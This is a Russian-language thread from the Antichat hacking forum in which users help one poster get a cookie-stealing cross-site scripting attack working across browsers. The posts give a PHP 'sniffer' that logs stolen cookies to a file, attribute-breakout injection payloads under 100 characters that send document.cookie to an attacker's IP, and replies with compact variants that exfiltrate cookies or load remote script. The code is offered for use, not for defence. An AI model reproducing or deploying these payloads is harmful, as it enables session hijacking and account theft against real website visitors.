ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1041  
Старый 15.12.2008, 23:42
Аватар для holden321
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме:
48847

Репутация: 1
По умолчанию

вопрос по JavaScript
есть такой код

<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>

к слову, в ответ назад передается картинка, чтобы все было красиво

так вот в чем проблема,
Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке
а IE и Chrome загружет картинку влет, ну и конечно куки передаются

хотелось бы конечно наоборот чтобы опера и файрфокс подгружали картинку

помогите
 
Ответить с цитированием

  #1042  
Старый 15.12.2008, 23:45
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

В самом снифаке сделай отображение картинки после того, как он получил данные.
 
Ответить с цитированием

  #1043  
Старый 15.12.2008, 23:48
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Сообщение от TANZWUT  
тип вопроса: сделайте за меня

пришла идея сделать гугл мапс на сайте. ключ получил, поставил на страничке, выставил координаты нужные, но хотелось бы с видом со спутника, фотками, подсказками с википедии как на скриншоте..



естественно отблагадарю
http://habrahabr.ru/blogs/google/36859/
 
Ответить с цитированием

  #1044  
Старый 16.12.2008, 00:28
Аватар для holden321
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме:
48847

Репутация: 1
По умолчанию

Цитата:
Сообщение от Pashkela  
В самом снифаке сделай отображение картинки после того, как он получил данные.
не помогло, дело в том что браузер даже не пытается открыть картинку
а если в свойствах картинки взять полученную ссылку и насильно пихнуть в адресную строку, то грузиться
непонятно=/

//mysite.php
<?php
$h = fopen("cookies","a");
fwrite($h,$_GET[a]);
fwrite($h,"\n");
fclose($h);
echo @readfile ("kartinka.jpg");
?>
 
Ответить с цитированием

  #1045  
Старый 16.12.2008, 00:41
Аватар для astrologer
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

holden321,

Надо сделать следующее:
1) Отправлять правильный заголовок Content-Type
2) Не забывать кавычки вокруг индексов ( $_GET['a'] ), хотя php это терпит
3) Обратить внимание на название темы
 
Ответить с цитированием

  #1046  
Старый 16.12.2008, 00:55
Аватар для holden321
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме:
48847

Репутация: 1
По умолчанию

astrologer, повторю вопрос:
есть такой код

<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>

Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке (q.src)
а IE и Chrome загружает картинку влет, ну и конечно куки передаются

теперь по теме ?

а програмку на php привел, потомучто предложили её изменить, ну чтобы всем видно было что тама все ок и вопще до нее дело даже не доходит
 
Ответить с цитированием

  #1047  
Старый 16.12.2008, 03:10
Аватар для ntldr
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
Провел на форуме:
2364957

Репутация: 479
По умолчанию

Цитата:
Сообщение от holden321  
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
q - это номер(id) элемента. а q.src это обращение к объекту q.
Как минимум -

<script language="JavaScript">
q = document.getElementById("q");
q.src="mysite.php?a="+document.cookie;</script>

language на всякий случай
 
Ответить с цитированием

  #1048  
Старый 16.12.2008, 11:58
Аватар для holden321
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме:
48847

Репутация: 1
По умолчанию

спасибо ntldr, но к сожалению слишком длинный скрипт получается, ограничение мешает.
может тогда подскажите как лучше сделать ?
вот есть такой код на странице:
PHP код:
<img src="ССЫЛКА" alt="" /> 
вместо ссылки можно подставить что угодно, но не более 100 символов

сейчас я подставляю:
"id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt=" // 87 символов
// получается
<img src=""id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt="" alt="" />

как я уже сказал, работает, но не во всех броузерах
может можно по другому как нибудь сделать
 
Ответить с цитированием

  #1049  
Старый 16.12.2008, 12:33
Аватар для astrologer
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Код:
"><script>(new Image).src='//example.com?'+document.cookie</script><br k="
Код:
"><script src="//example.com/script.js"></script><br k="

Последний раз редактировалось astrologer; 16.12.2008 в 12:35..
 
Ответить с цитированием

  #1050  
Старый 16.12.2008, 14:28
Аватар для holden321
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме:
48847

Репутация: 1
По умолчанию

astrologer, первый код не работает, не знаю почему,
а со вторым кодом все ок
только в опере не загружается, думаю может запрещена такая подгрузка сриптов или не правильный код в js:
document.getElementById('q').src='http://xx.x.xx.xx/f/z.php?a='+document.cookie+'&e='+Math.random();
но мне важнее чтобы в файрфоксе работало.
спасибо
всем
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Delphi, .NET, Asm 6762 17.06.2010 21:23
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ